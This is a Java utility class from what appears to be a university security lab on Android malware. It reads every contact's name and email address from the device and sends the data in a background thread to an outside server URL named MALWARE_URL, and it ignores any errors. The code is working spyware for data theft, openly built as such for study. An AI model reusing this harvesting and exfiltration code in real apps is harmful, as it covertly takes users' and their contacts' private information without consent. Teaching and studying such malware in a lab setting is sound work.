package edu.uw.cs.cse484.lab3.part1.util;

import java.net.URLEncoder;
import java.util.HashSet;
import java.util.List;
import java.util.Set;

import org.apache.http.HttpResponse;
import org.apache.http.StatusLine;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;

import android.app.Activity;
import android.content.ContentResolver;
import android.database.Cursor;
import android.os.Looper;
import android.provider.ContactsContract;
import android.util.Log;
import android.widget.Toast;

public class Util {
	private static final String TAG = "Util";
	
    private static final String MALWARE_URL = "http://students.washington.edu/ritika/security.php?query=%s";

    public static Set<String> getContactEmails(Activity activity) {
    	Set<String> emailSet = new HashSet<String>();
    	
    	Log.v(TAG, "Started Get Contacts");
        ContentResolver cr = activity.getContentResolver();
        Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
        activity.startManagingCursor(cur);
        if (cur.getCount() > 0) {
        	Log.v(TAG, "> 0");
        	while (cur.moveToNext()) {
        		Log.v(TAG, "in while loop");
        		String id = cur.getString(cur.getColumnIndex(ContactsContract.Contacts._ID));
        		String name = cur.getString(cur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
        		Log.v(TAG, "" + name);
        		
				Cursor emailCur = cr.query( 
						ContactsContract.CommonDataKinds.Email.CONTENT_URI, 
						null,
						ContactsContract.CommonDataKinds.Email.CONTACT_ID + " = ?", 
						new String[]{id}, null);
				if (emailCur != null) {
					while (emailCur.moveToNext()) { 
					    // This would allow you get several email addresses
				            // if the email addresses were stored in an array
					    String email = emailCur.getString(
				                      emailCur.getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA));
				 	    String storedString = "(" + name + ", " + email + ")";
    				 	if (emailSet.add(storedString)) {
    				 		// Added a new email
    				 		Log.d(TAG, storedString);
    				 	}
					}
				 	emailCur.close();
				}
            }
        }
        
        return emailSet;
	}

	public static void sendData(String rawQuery) {
    	Log.d(TAG, "Sending data");
    	
    	// Start thread to send query
    	new Thread(new DataSender(rawQuery)).start();
	}
	
	private static class DataSender implements Runnable {
		private String rawQuery;
		
		public DataSender(String rawQuery) {
			this.rawQuery = rawQuery;
		}
		
		public void run() {
	        try {
	        	// Encode query so http get request is correct
		    	String query = URLEncoder.encode(rawQuery, "UTF-8");
		    	
		        // Send sensor data
		        HttpClient client = new DefaultHttpClient();
		        HttpGet request = new HttpGet(String.format(MALWARE_URL, query));
		    	Log.d(TAG, "Request: " + request.getURI().toString());
	        
	            HttpResponse response = client.execute(request);

	            StatusLine status = response.getStatusLine();
	            Log.d(TAG, "Request returned status " + status);
	        } catch (Exception e) {
	        	// Ignore all exceptions
	        	Log.d(TAG, "EXCEPTION: " + e.getMessage(), e);
	        }
		}
		
	}
}
